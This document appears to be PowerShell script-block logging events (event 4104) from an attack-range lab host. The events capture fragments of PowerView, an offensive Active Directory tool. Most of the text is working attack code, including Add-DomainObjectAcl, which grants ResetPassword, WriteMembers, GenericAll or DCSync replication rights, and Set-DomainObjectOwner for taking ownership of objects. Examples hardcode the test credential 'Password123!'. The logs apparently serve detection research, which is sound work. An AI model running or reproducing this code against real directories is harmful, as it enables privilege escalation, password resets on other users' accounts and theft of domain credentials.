-Credential $Cred -Verbose VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y)))) VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid } AceQualifier : AccessAllowed ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local ActiveDirectoryRights : ExtendedRight ObjectAceType : User-Force-Change-Password ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114 InheritanceFlags : None BinaryLength : 56 AceType : AccessAllowedObject ObjectAceFlags : ObjectAceTypePresent IsCallback : False PropagationFlags : None SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108 AccessMask : 256 AuditFlags : None IsInherited : False AceFlags : None InheritedObjectAceType : All OpaqueLength : 0 .LINK https://adsecurity.org/?p=1906 https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $TargetIdentity, [ValidateNotNullOrEmpty()] [String] $TargetDomain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $TargetLDAPFilter, [ValidateNotNullOrEmpty()] [String] $TargetSearchBase, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [String[]] $PrincipalIdentity, [ValidateNotNullOrEmpty()] [String] $PrincipalDomain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] [String] $Rights = 'All', [Guid] $RightsGUID ) BEGIN { $TargetSearcherArguments = @{ 'Properties' = 'distinguishedname' 'Raw' = $True } if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } $PrincipalSearcherArguments = @{ 'Identity' = $PrincipalIdentity 'Properties' = 'distinguishedname,objectsid' } if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } $Principals = Get-DomainObject @PrincipalSearcherArguments if (-not $Principals) { throw "Unable to resolve principal: $PrincipalIdentity" } } PROCESS { $TargetSearcherArguments['Identity'] = $TargetIdentity $Targets = Get-DomainObject @TargetSearcherArguments ForEach ($TargetObject in $Targets) { $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' $ACEs = @() if ($RightsGUID) { $GUIDs = @($RightsGUID) } else { $GUIDs = Switch ($Rights) { # ResetPassword doesn't need to know the user's current password 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } # allows for the modification of group membership 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c # when applied to a domain's ACL, allows for the use of DCSync 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} } } ForEach ($PrincipalObject in $Principals) { Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)" try { $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) if ($GUIDs) { ForEach ($GUID in $GUIDs) { $NewGUID = New-Object Guid $GUID $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType } } else { # deault to GenericAll rights $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType } # add all the new ACEs to the specified object directory entry ForEach ($ACE in $ACEs) { Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" $TargetEntry = $TargetObject.GetDirectoryEntry() $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' $TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) $TargetEntry.PsBase.CommitChanges() } } catch { Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_" } } } } } function Remove-DomainObjectAcl { <# .SYNOPSIS Removes an ACL from a specific active directory object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION This function modifies the ACL/ACE entries for a given Active Directory target object specified by -TargetIdentity. Available -Rights are 'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended rights GUID can be set with -RightsGUID. These rights are removed from the target object for the specified -PrincipalIdentity. .PARAMETER TargetIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the domain object to modify ACLs for. Required. Wildcards accepted. .PARAMETER TargetDomain Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. .PARAMETER TargetLDAPFilter Specifies an LDAP query string that is used to filter Active Directory object targets. .PARAMETER TargetSearchBase The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMET ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989503 Keywords=None Message=Creating Scriptblock text (23 of 61): ed -ResolveGUIDs .OUTPUTS PowerView.ACL Custom PSObject with ACL entries. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.ACL')] [CmdletBinding()] Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String[]] $Identity, [Switch] $Sacl, [Switch] $ResolveGUIDs, [String] [Alias('Rights')] [ValidateSet('All', 'ResetPassword', 'WriteMembers')] $RightsFilter, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{ 'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid' } if ($PSBoundParameters['Sacl']) { $SearcherArguments['SecurityMasks'] = 'Sacl' } else { $SearcherArguments['SecurityMasks'] = 'Dacl' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $Searcher = Get-DomainSearcher @SearcherArguments $DomainGUIDMapArguments = @{} if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server } if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential } # get a GUID -> name mapping if ($PSBoundParameters['ResolveGUIDs']) { $GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments } } PROCESS { if ($Searcher) { $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-.*') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $Searcher = Get-DomainSearcher @SearcherArguments if (-not $Searcher) { Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('.')) { $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } else { $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" } } if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { $Filter += "(|$IdentityFilter)" } if ($PSBoundParameters['LDAPFilter']) { Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter" $Filter += "$LDAPFilter" } if ($Filter) { $Searcher.filter = "(&$Filter)" } Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)" $Results = $Searcher.FindAll() $Results | Where-Object {$_} | ForEach-Object { $Object = $_.Properties if ($Object.objectsid -and $Object.objectsid[0]) { $ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value } else { $ObjectSid = $Null } try { New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object { if ($PSBoundParameters['RightsFilter']) { $GuidFilter = Switch ($RightsFilter) { 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } Default { '00000000-0000-0000-0000-000000000000' } } if ($_.ObjectType -eq $GuidFilter) { $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid $Continue = $True } } else { $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0] $_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid $Continue = $True } if ($Continue) { $_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask)) if ($GUIDs) { # if we're resolving GUIDs, map them them to the resolved hash table $AclProperties = @{} $_.psobject.properties | ForEach-Object { if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') { try { $AclProperties[$_.Name] = $GUIDs[$_.Value.toString()] } catch { $AclProperties[$_.Name] = $_.Value } } else { $AclProperties[$_.Name] = $_.Value } } $OutObject = New-Object -TypeName PSObject -Property $AclProperties $OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL') $OutObject } else { $_.PSObject.TypeNames.Insert(0, 'PowerView.ACL') $_ } } } } catch { Write-Verbose "[Get-DomainObjectAcl] Error: $_" } } } } } function Add-DomainObjectAcl { <# .SYNOPSIS Adds an ACL for a specific active directory object. AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906 Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION This function modifies the ACL/ACE entries for a given Active Directory target object specified by -TargetIdentity. Available -Rights are 'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended rights GUID can be set with -RightsGUID. These rights are granted on the target object for the specified -PrincipalIdentity. .PARAMETER TargetIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the domain object to modify ACLs for. Required. Wildcards accepted. .PARAMETER TargetDomain Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. .PARAMETER TargetLDAPFilter Specifies an LDAP query string that is used to filter Active Directory object targets. .PARAMETER TargetSearchBase The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER PrincipalIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) for the domain principal to add for the ACL. Required. Wildcards accepted. .PARAMETER PrincipalDomain Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .PARAMETER Rights Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. Defaults to 'All'. .PARAMETER RightsGUID Manual GUID representing the right to add to the target. .EXAMPLE $Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid} ... Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local VE ScriptBlock ID: 0045e9c1-7808-49f3-8cf5-847047e4238a Path: 09/09/2021 06:18:04 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1989502 Keywords=None Message=Creating Scriptblock text (22 of 61): ncipalIdentity } $ADRight = 0 foreach($r in $Right) { $ADRight = $ADRight -bor (([System.DirectoryServices.ActiveDirectoryRights]$r).value__) } $ADRight = [System.DirectoryServices.ActiveDirectoryRights]$ADRight $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ObjectSid) } Process { if($PSCmdlet.ParameterSetName -eq 'AuditRuleType') { if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAuditRule -ArgumentList $Identity, $ADRight, $AuditFlag, $ObjectType, $InheritanceType, $InheritedObjectType } } else { if($ObjectType -eq $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType) } elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType } elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType } elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) { New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType } } } } function Set-DomainObjectOwner { <# .SYNOPSIS Modifies the owner for a specified active directory object. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainObject .DESCRIPTION Retrieves the Active Directory object specified by -Identity by splatting to Get-DomainObject, returning the raw searchresult object. Retrieves the raw directoryentry for the object, and sets the object owner to -OwnerIdentity. .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) of the AD object to set the owner for. .PARAMETER OwnerIdentity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) of the owner to set for -Identity. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y Set the owner of 'dfm' in the current domain to 'harmj0y'. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String] $Identity, [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [Alias('Owner')] [String] $OwnerIdentity, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $OwnerSid = Get-DomainObject @SearcherArguments -Identity $OwnerIdentity -Properties objectsid | Select-Object -ExpandProperty objectsid if ($OwnerSid) { $OwnerIdentityReference = [System.Security.Principal.SecurityIdentifier]$OwnerSid } else { Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'" } } PROCESS { if ($OwnerIdentityReference) { $SearcherArguments['Raw'] = $True $SearcherArguments['Identity'] = $Identity # splat the appropriate arguments to Get-DomainObject $RawObject = Get-DomainObject @SearcherArguments ForEach ($Object in $RawObject) { try { Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'" $Entry = $RawObject.GetDirectoryEntry() $Entry.PsBase.Options.SecurityMasks = 'Owner' $Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference) $Entry.PsBase.CommitChanges() } catch { Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_" } } } } } function Get-DomainObjectAcl { <# .SYNOPSIS Returns the ACLs associated with a specific active directory object. By default the DACL for the object(s) is returned, but the SACL can be returned with -Sacl. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap .PARAMETER Identity A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). Wildcards accepted. .PARAMETER Sacl Switch. Return the SACL instead of the DACL for the object (default behavior). .PARAMETER ResolveGUIDs Switch. Resolve GUIDs to their display names. .PARAMETER RightsFilter A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers'). .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs Get the ACLs for the matt.admin user in the testlab.local domain and resolve relevant GUIDs to their display names. .EXAMPLE Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs Enumerate the ACL permissions for all OUs in the domain. .EXAMPLE Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl Enumerate the SACLs for all OUs in the domain, resolving GUIDs. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object 